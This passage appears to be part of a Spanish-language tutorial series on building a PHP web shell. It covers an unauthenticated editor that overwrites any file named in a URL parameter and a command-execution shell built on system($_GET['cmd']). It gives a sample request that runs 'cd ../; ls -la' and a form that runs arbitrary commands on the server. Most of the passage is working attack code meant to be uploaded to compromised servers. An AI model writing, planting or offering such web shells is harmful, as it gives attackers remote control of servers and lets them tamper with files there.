0x04
Editando Archivos
En íntima relación con el listador que ya hicimos como ejercicio, vamos
a crear hoy un script para editar el código fuente de los archivos que tengamos
en el servidor (y sobre los cuales tengamos los permisos pertinentes).
En el script para editar, vamos a meter la ruta del archivo a editar a través
de una variable tipo GET (la llamaremos edit, para no complicarnos la vida
XDD). Despues volcaremos en un textarea el código fuente del archivo, y dentro
del textarea será donde modifiquemos el source. Tras esto, cuando le demos a
"guardar" mandará por POST el contenido y sobreescribirá el archivo
con el nuevo contenido.
Según lo comentado, lo primero será poner una condición IF para ver si está
"seteada" la variable $_GET['edit'], y de estarlo, sacamos la ruta
del archivo.
Código:
<?php
if(isset($_GET['edit'])){
$active=explode('/',$_GET['edit']);
$active=array_reverse($active);
echo 'Editing: '.$active[0].'<p>';//Mostramos el nombre del archivo que
estamos editando
Ahora iniciamos un formulario, en el cual editaremos el código fuente del
archivo (para ello previamente debemos de mostrarlo).
Código:
echo
'<form action="" method=POST><center>
<input type=Submit name="editor"
value="Save it!">';
Y ahora miramos si está "seteada" la variable POST, de estarlo
abrimos el archivo en cuestión y lo sobreescribimos:
Código:
if(isset($_POST['editor'])){ //miramos si tiene
contenido la variable y de tenerlo
@$write=fopen($_GET['edit'],'w+');//abrimos el archivo que metimos por
$_GET['edit] en modo w+
$code=stripslashes($_POST['code']);//Filtramos el codigo, code será la
variable del contenido del textarea
@$ok=fwrite($write,$code);//Sobrescribimos
Una cosa muy útil (por si no os acordais de los permisos del archivo) puede ser
implementar en vuestra shell al funcion de Hondamena, o bien comprobar si te
deja guardar o no. Si te da error, es que no tienes permisos XD:
Código:
if(!$ok){
echo '<br><font color=red>Error: You need more
Perms</font>';
}
else{
echo '<br><font color=green>DONE!</font>';
}
}
echo '<br>';
Y ahora viene la parte del textarea
Código:
echo '<textarea cols="95"
rows="30" name="code">';//Como dije, aqui la variable
"code"
@$read=fopen($_GET['edit'],'r');//Abrimos en modo read para ver el source
@$read=fread($read,filesize($_GET['edit']));//Array con contenido
echo htmlentities($read);//Filtramos variable
echo '</textarea>';
echo '</form>';//cerramos form y textarea
exit()
?>
Ahora la cuestión es... todo esto es muy bonito... pero como metemos la ruta y
el archivo en $_GET['edit']?. A través del listador
.
Tal y como hicisteis para diferenciar directorios de archivos (y como mace por
ejemplo añadió una función para "navegar" a través de su shell por
todos los directorios), teneis que mostrar un link tipo ?edit=$ruta/$archivo,
en vez de mostrar el nombre del archivo únicamente.
Podeis hacer algo tipo:
Código:
while ($archivo = $directorio->read())
{
$extension=filetype($ruta.'/'.$archivo);
if ($extension=="dir"){
echo "<a ";
echo "href=?path=$ruta/$archivo>$archivo</a>)";
}
else {
echo '<a href=?edit=$ruta/$archivo>$archivo</a><br>';
O tambien podeis hacer eso, pero mediante tablas, y que quede al lado de cada
archivo un link que ponga href=?path=$ruta/$archivo> [Edit][/url]
0x05
Ejecutando comandos
Ahora es cuando hablamos realmente de una "shell". Este capítulo
(corto por cierto) va enfocado a la ejecución de comandos en la shell del
servidor. Un script muy sencillito sería
Código:
<?php ob_clean; system($_GET['cmd']); ?>
Si subésemos eso a nuestro servidor con el nombre de shell.php, y le
hacemos una petición GET al estilo de: www.ejemplo.es/shell.php?cmd=cd ../; ls -la
. Lo que pasaría es que subiría una carpeta más arriba, y mostraría el
contenido de ésta incluyendo información como los permisos de cada
archivo/carpeta.
Si queremos implementar esto en lo que actualmente podríamos considerar
como "listador", podríamos hacer algo al estilo de:
Código:
<?php
if(isset($_GET['cmd'])){
echo '<form method=POST action="?cmd">
<input type=TEXT name=command value="'.$_POST['command'].'">
<input type=submit name=eje value="Execute!">';
echo '</form>';
if($_POST['command']!="" && isset($_POST['eje'])){
echo '<textarea cols="100" rows="30">';
system($_POST['command']);
echo '</textarea>';
exit();
}
exit();
}
?>
Lo que
haríamos es crear un formulario, en el cual hay un input, que será donde
escribamos nuestros comandos (recordad separar cada comando con ; ). Despues
comprueba que si el texto introducido en input es distinto a un espacio, y al
mismo tiempo está seteada la variable del "submit" ejecuta los
comandos puestos en el input (a través de system()) y vuelca el resultado en un
textarea.